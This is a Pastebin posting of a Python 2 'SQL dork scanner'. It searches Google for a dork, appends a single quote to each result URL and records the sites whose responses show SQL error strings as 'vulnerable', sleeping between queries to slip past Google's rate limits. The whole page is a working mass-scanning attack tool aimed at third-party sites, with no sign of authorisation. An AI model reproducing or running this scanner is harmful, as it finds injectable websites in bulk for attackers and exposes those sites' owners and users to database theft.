scriptkiddies

Scanner SQL vulnerable site recode by - Dr.1n73ct10n

May 19th, 2014
554
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.03 KB | None | 0 0
  1. #!/usr/bin/python
  2. ## scanner.py
  3. ## Author: Xinapse
  4. ## blog: http://indonesiahackercyberteam.blogspot.com
  5. ## Version 0.0.2
  6. ## Usage scanner.py [options]
  7. from xgoogle.search import GoogleSearch, SearchError
  8. import time, urllib2, optparse
  9.  
  10. print '''
  11.  
  12. (_)   _        _   _________    ___________
  13. | |  | |      | | /---------    ___________
  14. | |  | |      | | || coder by :     | |
  15. | |  | |------| | || Dr.1n73ct10n   | | \/ : 0.0.2
  16. | |  | |------| | ||________        | |  
  17. |_|  |_|      |_| \---------        |_|
  18.                                            
  19.  
  20. ---------------------------------------------------------------------------------
  21. -- scanner.py                                                                  --
  22. -- SQL Dork scanner script                                                     --
  23. -- Author: Xinapse                                                             --
  24. -- recode by : Dr.1n73ct10n                                                    --
  25. -- Email: [email protected]                                               --
  26. -- Version 0.0.2                                                               --
  27. -- Usage scanner.py [options]                                                  --
  28. ---------------------------------------------------------------------------------
  29. '''
  30. parser = optparse.OptionParser()
  31. options = optparse.OptionGroup(parser, 'Options')
  32. parser.add_option('-d', '--dork', action='store', type='string', help='Dork to Scan', metavar='DORK')
  33. parser.add_option('-f', '--file', action='store', type='string', help='Filename to save', metavar='FILE')
  34. parser.add_option('-v', '--verbose', action="store_true", dest="verbose", default=False, help="Adds extra status messages showing program execution")
  35. parser.add_option('-e', '--evasion', action='store', type='string', help='How long to sleep between each google request, used to prevent google blocking your IP for too many requests, recommended at least 5+, default 10', metavar='EVASION')
  36. (opts, args) = parser.parse_args()
  37. urlno = 0
  38. invuln = 0
  39. if opts.dork:
  40.     dork = opts.dork
  41. else:
  42.     print '>> Please enter a dork'
  43. if opts.file:
  44.     filename = opts.file
  45. else:
  46.     print '>> Please enter a filename'
  47. if opts.verbose:
  48.     verbose = 'true'
  49. else:
  50.     verbose = 'false'
  51. if opts.evasion:
  52.     evas = opts.evasion
  53. else:
  54.     evas = 10
  55. pagecount = 0
  56. counter = 0
  57. try:
  58.     pagecount = pagecount + 1
  59.     if verbose == 'true':
  60.         print '>> Crawling google page ' + str(pagecount) + '...'
  61.      
  62.     search = GoogleSearch(dork)
  63.      
  64.      
  65.      
  66.      
  67.     while True:
  68.         search.results_per_page=100
  69.         tmp = search.get_results()
  70.          
  71.         if not tmp:
  72.             break
  73.             if verbose == 'true':
  74.                 print '>> No more results...'
  75.          
  76.                  
  77.         for t in tmp:
  78.             try:
  79.                  
  80.                 url = t.url.encode("utf8")
  81.                 if verbose == 'true':
  82.                     print '>> Testing ' + url + ' for vulnerabilities...'
  83.                 testurl = url + "'"
  84.                 req = urllib2.urlopen(testurl)
  85.                 data = req.read()
  86.                 if "sql" in data or "SQL" in data or "MySQL" in data or "MYSQL" in data or "MSSQL" in data:
  87.                     f = open (filename, "a")
  88.                     if verbose == 'true':
  89.                         print ">> Found possible injection in " + url
  90.                     f.write(testurl + "\n")
  91.                     f.close()
  92.                     counter = counter + 1
  93.                 else:
  94.                     invuln = invuln + 1
  95.             except:
  96.                 errors = 1
  97.         if verbose == 'true':
  98.             print '>> Sleeping to bypass google flood protection...'      
  99.         time.sleep(evas)
  100.  
  101.  
  102. except SearchError, e:
  103.     print ">> Search failed: %s" % e
  104.  
  105.  
  106. print '>> Dorker scan ended'
  107. print '>> ' + str(counter) + ' vulnerable sites found'
  108. print '>> ' + str(invuln) + ' sites not vulnerable'
  109. print '>> Thank you for using scanner.py v.0.0.2, output has been saved to ' + filename
Advertisement
Add Comment
Please, Sign In to add comment